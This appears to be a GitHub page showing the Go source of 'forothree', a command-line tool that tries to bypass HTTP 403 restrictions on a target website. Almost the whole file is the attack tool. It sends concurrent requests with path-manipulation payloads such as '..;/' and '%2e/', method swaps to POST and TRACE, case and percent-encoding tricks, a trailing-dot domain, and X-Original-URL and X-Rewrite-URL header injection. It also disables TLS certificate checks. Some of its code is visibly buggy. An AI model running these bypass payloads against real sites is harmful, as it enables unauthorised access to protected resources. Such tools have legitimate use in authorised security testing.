-
Notifications
You must be signed in to change notification settings - Fork 5
/
forothree.go
697 lines (535 loc) · 17.9 KB
/
forothree.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
package main
import "fmt"
import "github.com/valyala/fasthttp"
import "time"
import "strconv"
import "os"
import "bufio"
import "net/url"
import "strings"
import "sync"
import "flag"
import "io/ioutil"
import "unicode"
import "regexp"
import "github.com/dchest/uniuri"
//import "net/http"
import "crypto/tls"
//forothree v.0.1
//created by hanhanhan
type rawconf struct {
Url string
Urlf string
Bodylen bool
Scode []string
Outname string
Outfile *(os.File)
Timeout int
Method string
Headers []string
Retnum int
Headby bool
Rec bool
Xheaders bool
Location bool
Useragent string
}
func lastchartoasciicodeonly(s string) (int) {
tem := []rune(s)
temp := tem[len(s)-1]
first := int(temp)
return first
}
func firstchartoasciicode(s string) (string) {
rest := fmt.Sprintf(s[1:])
tem := []rune(s)
temp := tem[0]
temp2 := int(temp)
first := strconv.Itoa(temp2)
return fmt.Sprintf("%s%s%s","%",first,rest)
}
func Find(slice []string, val string) (int, bool) { //check if value exist in slice
for i, item := range slice {
if item == val {
return i, true
}
}
return -1, false
}
func headtorequest(r rawconf,dir string, h string,wg sync.WaitGroup) {
headers := r.Headers
headers = append(headers,h)
myrequest(r,dir,"","",&wg)
}
func storehere(d string, f *(os.File) ) { //store result (in string) to file
if _, err := f.WriteString(d); err != nil {
fmt.Printf("[-] storing function error : ")
panic(err)
}
}
func strtoreversecase(s string) (string) { //change an alphabet to upper (if lower), or to lower (if upper), return none if no alphabet found
if s == "" {
return ""
}
slic := strings.Split(s,"") //every char = an array index
for i := 0; i < len(slic)-1; i++ {
//slic := strings.Split(s,"")
run := []rune(slic[i])
if unicode.IsUpper(run[0]) {
str := string(run[0])
str = strings.ToLower(str)
slic[i] = str
res := strings.Join(slic,"")
return res
} else if unicode.IsLower(run[0]) {
str := string(run[0])
str = strings.ToUpper(str)
slic[i] = str
res := strings.Join(slic,"")
return res
} else {
continue
}
}
return ""
}
func strtoaciicode(s string, n int) (string) { //change a char number n in string to ascicode
slic := strings.Split(s,"") //every char = an array index
run := []rune(slic[n])
int := fmt.Sprintf("%%"+"%d",run)
slic[n] = string(int)
res := strings.Join(slic,"")
res = strings.Replace(res,"]","",1)
res = strings.Replace(res,"[","",1)
return res
}
func parseHeaders (v string) (string,string) { //parse header in stdin
htemp := strings.SplitAfterN(v,":",2)
//temp := htemp[0]
htemp[0] = strings.Replace(htemp[0],":","",1)
return htemp[0],htemp[1]
//req.Header.Add(temp, htemp[1])
}
/*func parseurldir (urlz string) (string,string,error) { //parse url with single directory
fmt.Println("domain3.4 :", urlz)
unparse,err := url.QueryUnescape(urlz)
fmt.Println("domain3.5 :", unparse)
u,err := url.Parse(unparse)
fmt.Println("domain4 :", u)
if err != nil {
fmt.Println("[-] error, bad URL : %s",err)
}
var dir,domain = "",""
if u.Scheme == "" { //parsing when no http schema
u.Scheme = "https"
//fmt.Println("d1")
//x := strings.SplitAfterN(urlz,"/",2)
//fmt.Println("d2")
//u.Host = x[0]
//dir = x[1]
domain = u.Scheme + "://" + u.Host
} else { //parsing when there's http schema
dir = strings.Replace(u.Path,"/","",1)
domain = u.Scheme + "://" + u.Host + "/"
}
//fmt.Println(domain)
return domain,dir,nil
}*/
func parseurldirs (urlz string) (string,[]string,error) { //parse url with subdirectory
unparse,err := url.QueryUnescape(urlz)
u,err := url.Parse(unparse)
if err != nil || u.Host == "" { // if got error/u.host none, possible ip addr
u,err = url.Parse("//"+unparse) // //192.168.0.1 solve the parse() instead off 192.168.0.1 (without prefix double slash)
if err != nil {
fmt.Println("[-] error, bad URL :",err)
}
}
var temp,domain = "",""
//add http scheme if found none
if u.Scheme == "" { //parsing when no http schema
u.Scheme = "https"
domain = u.Scheme + "://" + u.Host + "/"
} else { //parsing when there's http schema
domain = u.Scheme + "://" + u.Host + "/"
}
temp = strings.Split(u.Path, "?")[0] //strip url parameters
temp = strings.Split(temp, "%3F")[0] //strip url parameters when ? is encoded
temp2 := strings.Replace(temp,"/","",1) // put /dodol/garut to dodol/garut for easier split
dir := strings.Split(temp2,"/") //put every dir/subdir to arracy
if dir[len(dir)-1] == "" {
dir = dir[:len(dir)-1]
}
return domain, dir,nil
}
func reqiterateheader(r rawconf,dir string,wg sync.WaitGroup,lol []string,i int) {
headerstemp := r.Headers
r.Headers = append(r.Headers,lol[i])
myrequest(r,dir,"","",&wg)
//if len(r.Headers) != 0 { //magic if to debug goroutine panic: runtime error: slice bounds out of range [:-1]
// r.Headers = r.Headers[:len(r.Headers)-1]
//}
r.Headers = headerstemp
}
func myrequest(r rawconf, dir string, before string, after string, wg *sync.WaitGroup) { //request engine
//prepare url
//fmt.Println("before process url : " + r.Url)
url := ""
if (before == "DOMAINMOD") { //url exception for bypass that modify domain
r.Url = r.Url[:len(r.Url)-1]
url = r.Url + after + "/" + dir
} else if strings.HasPrefix(before, "DIRMOD") { //url exception for bypass that modify admin to %97dmin. coz special behavior in golang len() function
url = r.Url+""+dir+after
} else {
url = r.Url+before+dir+after
}
//fmt.Println("after process url : " + r.Url)
wg.Add(1)
//prepare request
req := fasthttp.AcquireRequest()
resp := fasthttp.AcquireResponse()
defer func() {
fasthttp.ReleaseResponse(resp)
fasthttp.ReleaseRequest(req)
}()
//generate http clint (just to get InsecureSkipVerify)
//customTransport := http.DefaultTransport.(*http.Transport).Clone()
//customTransport.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
client := &fasthttp.Client{
//CheckRedirect: func(req *http.Request, via []*http.Request) error {
// fmt.Println("LOL")
// return http.ErrUseLastResponse
TLSConfig: &tls.Config{InsecureSkipVerify: true},
}
//set URL
req.SetRequestURI(url)
//add header
if len(r.Headers) > 0 {
for _,v := range r.Headers {
i,j := parseHeaders(v)
req.Header.Add(i, j)
}
}
req.Header.Set("User-Agent", r.Useragent)
// define web client request Method
req.Header.SetMethod(r.Method)
//set request timeout
var tout = time.Duration(r.Timeout) * time.Second
//do request, break if not timeout, still
timeout := false
for true {
//fmt.Println(req.URI())
var err = client.DoTimeout(req, resp, tout)
//print error, code still redundant/inefficient
if err != nil {
r.Retnum--
if err.Error() == "timeout" {
if r.Retnum == 0 {
timeout = true //request is timeout
break
}
} else {
fmt.Println("[-] request error : ", err)
break
}
} else {
break
}
}
//print output
domaino := fmt.Sprintf("%s : %s ",r.Method,url)
codeo := fmt.Sprintf("code : " + strconv.Itoa(resp.StatusCode()) + " |") //no filter status code yet
re := regexp.MustCompile("[0-9]+")
codeocheck := strings.Join(re.FindAllString(codeo,-1),"") //to get raw number of status code, used to determine whether to print it
lengtho := ""
locationo := ""
xheaderso := ""
paddingo := 0
if r.Bodylen {
t := resp.String()
lengtho = fmt.Sprintf("length : %v |",len(t)) //no filter length yet
}
if r.Xheaders {
xheaderso = fmt.Sprintf("xtra-header : %v |",r.Headers[len(r.Headers)-1])
}
if r.Location {
a := resp.Header
b := string(a.Peek("Location"))
if b != "" {
locationo = fmt.Sprintf("location : %v |",)
}
}
_, found := Find(r.Scode,codeocheck) //statuscode filter
//PADDING LOGIC
//============================================================================================
//add extra padding if domain is example.com.
if before == "DOMAINMOD" {
paddingo = ((len(r.Url)+len(dir)+30) - (len(domaino)) + 1 )
//add extra padding if firstchartoasciicode used
} else if strings.HasPrefix(before, "DIRMOD") {
if lastchartoasciicodeonly(before) < 100 {
paddingo = (len(r.Url)+len(dir)+30) - (len(domaino)) - 2
/*fmt.Println("LESS")
fmt.Println(lastchartoasciicodeonly(before))
fmt.Println(before)*/
} else {
paddingo = (len(r.Url)+len(dir)+30) - (len(domaino)) - 3
/*fmt.Println("MORE")
fmt.Println(lastchartoasciicodeonly(before))
fmt.Println(before)*/
}
} else {
paddingo = (len(r.Url)+len(dir)+30) - (len(domaino))
}
//add extra padding if domain is blank coz the dir is in x-rewrite
if strings.HasPrefix(r.Headers[len(r.Headers)-1], "X-Rewrite-URL:/") {
paddingo = paddingo+len(r.Headers[len(r.Headers)-1]) - len("X-Rewrite-URL:/")
}
//============================================================================================
if !(timeout) { //check if request timeout
if found{
fmt.Println(domaino + strings.Repeat(" ", paddingo)+ "|" + codeo + lengtho + locationo + xheaderso)
}
if r.Outname != ""{
if found{
storehere(domaino + strings.Repeat(" ", paddingo)+ "|" + codeo + lengtho + xheaderso + "\n",r.Outfile)
}
}
} else {
fmt.Println(domaino + strings.Repeat(" ", paddingo)+ "|" + "timeout")
}
wg.Done()
}
func payloads(r rawconf, dir string) { //standard bypass module
var wg sync.WaitGroup
myrequest(r,dir,"","",&wg)
defer func(){
wg.Wait()
}()
//25 goroutine total
//match, _ := regexp.MatchString("'\b((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.|$)){4}\b'", )
go myrequest(r,dir,"","%2500",&wg)
go myrequest(r,dir,"","%20",&wg)
go myrequest(r,dir,"%2" + "e/","",&wg)
go myrequest(r,dir,"","%09",&wg)
go myrequest(r,dir,"","/..;/",&wg)
go myrequest(r,dir,"","..;/",&wg)
go myrequest(r,dir,".;/","",&wg)
go myrequest(r,dir,"..;/","",&wg)
go myrequest(r,dir,"","/.",&wg)
go myrequest(r,dir,"","//",&wg)
go myrequest(r,dir,"./","/./",&wg)
go myrequest(r,dir,"/","",&wg)
go myrequest(r,dir,"","//[email protected]",&wg)
go myrequest(r,dir,"","//google.com",&wg)
go myrequest(r,dir,"",".json",&wg)
go myrequest(r,dir,"","?",&wg)
go myrequest(r,dir,"\\..\\.\\","",&wg)
go myrequest(r,dir,"","??",&wg)
go myrequest(r,dir,"","#",&wg)
go myrequest(r,dir,".;","",&wg)
go myrequest(r,dir,"","/~",&wg)
go myrequest(r,dir,"./","",&wg)
_,_,err := parseurldirs(r.Url)
if err == nil { //if err possible ip addr, domain bypass with . doesnt work and should fix dodol.com:443. to dodol.com.:443
go myrequest(r,dir,"DOMAINMOD",".",&wg)
}
if dir != "" {
go myrequest(r,firstchartoasciicode(dir),fmt.Sprintf("%s%s","DIRMOD",fmt.Sprintf(dir[:1])),"",&wg)
}
if strtoreversecase(dir) != "" {
go myrequest(r,strtoreversecase(dir),"","",&wg) //not in goroutine fo a nasty way to keep goroutine run w/o encountering race condition
}
methodtemp := r.Method
if r.Method == "GET" {
r.Method = "POST"
myrequest(r,dir,"","",&wg)
r.Method = "TRACE"
myrequest(r,dir,"","",&wg)
r.Method = methodtemp
} else if r.Method == "POST" {
r.Method = "GET"
myrequest(r,dir,"","",&wg)
r.Method = "TRACE"
myrequest(r,dir,"","",&wg)
r.Method = methodtemp
} else {
r.Method = "POST"
myrequest(r,dir,"","",&wg)
r.Method = "GET"
myrequest(r,dir,"","",&wg)
r.Method = "TRACE"
myrequest(r,dir,"","",&wg)
r.Method = methodtemp
}
}
func payloads2(r rawconf, dir string) { //subdirectory bypass module
//fmt.Println("p2")
var wg sync.WaitGroup
myrequest(r,dir,"","",&wg)
defer func(){
wg.Wait()
}()
go myrequest(r,dir,"%2" + "e/","",&wg)
go myrequest(r,dir,"","..;/",&wg) // LOOP?
go myrequest(r,dir,"..;/","",&wg) //and ../ LOOP?
go myrequest(r,dir,"/","",&wg)
go myrequest(r,dir,"","/~",&wg)
go myrequest(r,dir,"./","",&wg)
if dir != "" {
myrequest(r,firstchartoasciicode(dir),fmt.Sprintf("%s%s","DIRMOD",fmt.Sprintf(dir[:1])),"",&wg) //not in goroutine fo a nasty way to keep goroutine run w/o encountering race condition
}
_,_,err := parseurldirs(r.Url)
if err == nil { //if err possible ip addr, domain bypass with . doesnt work and should fix dodol.com:443. to dodol.com.:443
myrequest(r,dir,"DOMAINMOD",".",&wg)
}
}
func payloads3(r rawconf, dir string) { //header bypass module
r.Xheaders = true
var wg sync.WaitGroup
defer func(){
//wg.Done()
wg.Wait()
}()
g,_ := os.Open("headerbypass.txt") // iterate file lineByLine
g2 := bufio.NewScanner(g)
var lol []string
for g2.Scan() {
var line = g2.Text()
lol = append(lol,line)
}
for i := 0; i < len(lol); i++ {
go reqiterateheader(r,dir,wg,lol,i)
}
//go func() { //NOT CONCURRENT YET
r.Headers = append(r.Headers,"X-Rewrite-URL:/"+dir)
myrequest(r,"","","",&wg) //LOOP?
if len(r.Headers) != 0 { //magic if to debug goroutine panic: runtime error: slice bounds out of range [:-1]
r.Headers = r.Headers[:len(r.Headers)-1]
}
//}()
//go func() { //NOT CONCURRENT YET
sabeb := uniuri.NewLen(len(dir)) //generate random string
r.Headers = append(r.Headers,"X-Original-URL:/"+dir)
myrequest(r,sabeb,"","",&wg)
if len(r.Headers) != 0 { //magic if to debug goroutine panic: runtime error: slice bounds out of range [:-1]
r.Headers = r.Headers[:len(r.Headers)-1]
}
//}()
uatemp := r.Useragent
r.Useragent = "okhttp/4.1.1"
myrequest(r,dir,"","",&wg)
if len(r.Headers) != 0 { //magic if to debug goroutine panic: runtime error: slice bounds out of range [:-1]
r.Headers = r.Headers[:len(r.Headers)-1]
}
r.Useragent = uatemp
}
/*func payload3wrapper(b bool,r rawconf, dir string) {
if !(b){
payloads3(r,dir)
}
}*/
func main() {
var r = rawconf{}
flag.BoolVar(&(r.Bodylen),"l",false," show response length")
//code still redundant/inefficient
t1 := flag.String("s","200,404,403,301,404","-s specify status code, ex 200,404")
//code still redundant/inefficient
t2 := flag.String("e","Connection:close"," set custom headers, ex head1:myhead,head2:yourhead")
flag.IntVar(&(r.Timeout),"t",3," specify request timeout in seconds")
flag.StringVar(&(r.Method),"m","GET"," set request method")
flag.IntVar(&(r.Retnum),"r",2," set max number of retries")
flag.StringVar(&(r.Url),"u",""," url target")
flag.StringVar(&(r.Urlf),"ul",""," url list target")
flag.StringVar(&(r.Outname),"o",""," specify output file name")
flag.StringVar(&(r.Useragent),"ua","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36"," specify User-Agent")
flag.BoolVar(&(r.Headby),"b",false," disable header bypass")
flag.BoolVar(&(r.Location),"hl",false," show header location")
flag.BoolVar(&(r.Rec),"c",false," disable recursive bypass")
r.Xheaders = false
flag.Parse()
r.Scode = strings.Split(*t1,",")
r.Headers = strings.Split(*t2,",")
//create file if -o enabled
if r.Outname != "" {
f,err := os.OpenFile(r.Outname,os.O_APPEND|os.O_WRONLY|os.O_CREATE,0644)
if err != nil {
fmt.Printf("[-] create file error : ")
panic(err)
}
r.Outfile = f
}
var g *os.File
var g2 *bufio.Scanner
tfile := "/tmp/l8nwe9vnjeiohfn9fnme" //file for temp
//close file if -o enabled
defer func() {
if r.Outname != "" {
r.Outfile.Close()
os.Remove(tfile)
}
}()
//-u and -ul logic
if r.Url != "" && r.Urlf != "" {
fmt.Println("[-] use either -u or -ul")
os.Exit(3)
} else if r.Urlf != "" {
g,_ = os.Open(r.Urlf) // iterate file lineByLine
g2 = bufio.NewScanner(g)
} else if r.Url != "" {
d1 := []byte(r.Url)
err := ioutil.WriteFile(tfile, d1, 0644) //need to change to random name
if err != nil {
fmt.Println("[-] cannot create temp file")
panic(err)
}
g,err = os.Open(tfile) // iterate file lineByLine
if err != nil {
fmt.Println("[-] cannot open temp file")
panic(err)
}
g2 = bufio.NewScanner(g)
} else {
fmt.Println("[-] No target found")
os.Exit(3)
}
//url(s) to iteration
for g2.Scan() {
var line = g2.Text()
domain,dirs,_ := parseurldirs(line)
//if based on number of directory
if len(dirs) > 1 {
last := dirs[len(dirs)-1]
//last2 := last
dirstemp := dirs[0:len(dirs)-1]
middle := strings.Join(dirstemp, "/")
r.Url = domain + middle + "/"
if !(r.Rec) {
for i := 0; i < len(dirs); i++ { // len(dirs)-1 for keeptesting all level of directory excluding file destination
middle = strings.Join(dirs[0:i], "/")
last = strings.Join(dirs[i:len(dirs)], "/") //?
if middle == "" { //for debug when https://dodol.com//dir/subdir happen
r.Url = domain + middle
} else {
r.Url = domain + middle + "/"
}
payloads2(r,last)
}
}
//fmt.Println(dirs)
last2 := strings.Join(dirs, "/")
payloads(r,last2)//-------|
if !(r.Headby) {// |-----need to go concurrent
payloads3(r,last2)//--|
}
} else {
r.Url = domain
dir := dirs[0]
if !(r.Headby) {
payloads(r,dir) //---|
payloads3(r,dir)//---|--------need to go concurrent
} else {
payloads(r,dir)
}
}
}
}